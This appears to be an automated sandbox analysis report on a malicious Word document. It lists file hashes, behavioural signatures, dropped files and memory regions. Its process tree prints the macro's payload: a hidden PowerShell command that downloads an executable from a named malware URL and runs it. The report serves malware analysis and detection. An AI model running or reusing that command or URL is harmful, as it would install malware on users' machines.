Analysis

  • max time kernel
    156s
  • max time network
    165s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240319-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240319-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/04/2024, 14:31

General

  • Target

    dfe11b83da7c4dc02ff7675d086ff7ddd97fec71c62cc96f1a391f574bec6b4f.doc

  • Size

    34KB

  • MD5

    12840e2c8a5f378153d9eaea226c592b

  • SHA1

    a6cfa25e5a9eb7fca97b19b2f5b8003ed7c7aaae

  • SHA256

    dfe11b83da7c4dc02ff7675d086ff7ddd97fec71c62cc96f1a391f574bec6b4f

  • SHA512

    d5c07898f3d313a12a38bc730543a33b68d73786a1f798fa0b9277ba324b14ec5833a2f06bbef6c562b964d664c7fcc3beec245add1e8c2437418c5f2a89e84d

  • SSDEEP

    384:tUMbR2efiSUR/8dBQfq9uVJQSwy9y0jbUDIotCW:tUMbR2l/qmJ1wLQUD

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://1833.site/gp00973.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\dfe11b83da7c4dc02ff7675d086ff7ddd97fec71c62cc96f1a391f574bec6b4f.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3216
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\wanthistory.bat" "
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3760
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -w h Start-BitsTransfer -Source htt`p://1833.site/gp00973.exe -Destination C:\Users\Public\Documents\regioncheck.exe;C:\Users\Public\Documents\regioncheck.exe
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4908
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3728 --field-trial-handle=2256,i,5035714022000286426,16259316383734940314,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:6004

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jzdgoes2.ywa.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851227[[fn=sist02]].xsl

      Filesize

      245KB

      MD5

      f883b260a8d67082ea895c14bf56dd56

      SHA1

      7954565c1f243d46ad3b1e2f1baf3281451fc14b

      SHA256

      ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

      SHA512

      d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

    • C:\Users\Public\Documents\wanthistory.bat

      Filesize

      172B

      MD5

      eae996bcbd727eb45365a2230d52485d

      SHA1

      cb10800dfc57c9d581ce52f15f36edb3e1e2a9ef

      SHA256

      3b3dc0f2befb4174f856fcec6e5237be9c4102c9f54ed2062d3c9e5b6c23fe55

      SHA512

      6ff5af5b8b60d599e5b705e69f817a79e90cc43b5336a3887e156ced213781e6f64add54d2354bbeb0cbca4fd9b9b39c050f6b4950409f7beb2ae13e1040bd66

    • memory/3216-17-0x00007FFAB7190000-0x00007FFAB71A0000-memory.dmp

      Filesize

      64KB

    • memory/3216-5-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

      Filesize

      2.0MB

    • memory/3216-4-0x00007FFAB96B0000-0x00007FFAB96C0000-memory.dmp

      Filesize

      64KB

    • memory/3216-7-0x00007FFAB96B0000-0x00007FFAB96C0000-memory.dmp

      Filesize

      64KB

    • memory/3216-8-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

      Filesize

      2.0MB

    • memory/3216-9-0x00007FFAB96B0000-0x00007FFAB96C0000-memory.dmp

      Filesize

      64KB

    • memory/3216-6-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

      Filesize

      2.0MB

    • memory/3216-10-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

      Filesize

      2.0MB

    • memory/3216-11-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

      Filesize

      2.0MB

    • memory/3216-12-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

      Filesize

      2.0MB

    • memory/3216-13-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

      Filesize

      2.0MB

    • memory/3216-14-0x00007FFAB7190000-0x00007FFAB71A0000-memory.dmp

      Filesize

      64KB

    • memory/3216-571-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

      Filesize

      2.0MB

    • memory/3216-16-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

      Filesize

      2.0MB

    • memory/3216-574-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

      Filesize

      2.0MB

    • memory/3216-35-0x00000182729F0000-0x00000182739C0000-memory.dmp

      Filesize

      15.8MB

    • memory/3216-38-0x00000182729F0000-0x00000182739C0000-memory.dmp

      Filesize

      15.8MB

    • memory/3216-42-0x00000182729F0000-0x00000182739C0000-memory.dmp

      Filesize

      15.8MB

    • memory/3216-43-0x00000182729F0000-0x00000182739C0000-memory.dmp

      Filesize

      15.8MB

    • memory/3216-0-0x00007FFAB96B0000-0x00007FFAB96C0000-memory.dmp

      Filesize

      64KB

    • memory/3216-575-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

      Filesize

      2.0MB

    • memory/3216-2-0x00007FFAB96B0000-0x00007FFAB96C0000-memory.dmp

      Filesize

      64KB

    • memory/3216-3-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

      Filesize

      2.0MB

    • memory/3216-15-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

      Filesize

      2.0MB

    • memory/3216-572-0x00007FFAB96B0000-0x00007FFAB96C0000-memory.dmp

      Filesize

      64KB

    • memory/3216-573-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

      Filesize

      2.0MB

    • memory/3216-569-0x00007FFAB96B0000-0x00007FFAB96C0000-memory.dmp

      Filesize

      64KB

    • memory/3216-570-0x00007FFAB96B0000-0x00007FFAB96C0000-memory.dmp

      Filesize

      64KB

    • memory/3216-568-0x00007FFAB96B0000-0x00007FFAB96C0000-memory.dmp

      Filesize

      64KB

    • memory/3216-66-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

      Filesize

      2.0MB

    • memory/3216-1-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

      Filesize

      2.0MB

    • memory/3216-544-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

      Filesize

      2.0MB

    • memory/3216-545-0x00007FFAF9630000-0x00007FFAF9825000-memory.dmp

      Filesize

      2.0MB

    • memory/3216-546-0x00000182729F0000-0x00000182739C0000-memory.dmp

      Filesize

      15.8MB

    • memory/3216-547-0x00000182729F0000-0x00000182739C0000-memory.dmp

      Filesize

      15.8MB

    • memory/3216-548-0x00000182729F0000-0x00000182739C0000-memory.dmp

      Filesize

      15.8MB

    • memory/4908-65-0x00007FFAC96B0000-0x00007FFACA171000-memory.dmp

      Filesize

      10.8MB

    • memory/4908-60-0x0000021870040000-0x0000021870050000-memory.dmp

      Filesize

      64KB

    • memory/4908-59-0x00000218704C0000-0x00000218704D4000-memory.dmp

      Filesize

      80KB

    • memory/4908-58-0x0000021870150000-0x0000021870176000-memory.dmp

      Filesize

      152KB

    • memory/4908-57-0x0000021870040000-0x0000021870050000-memory.dmp

      Filesize

      64KB

    • memory/4908-54-0x000002186FF90000-0x000002186FFB2000-memory.dmp

      Filesize

      136KB

    • memory/4908-55-0x00007FFAC96B0000-0x00007FFACA171000-memory.dmp

      Filesize

      10.8MB

    • memory/4908-56-0x0000021870040000-0x0000021870050000-memory.dmp

      Filesize

      64KB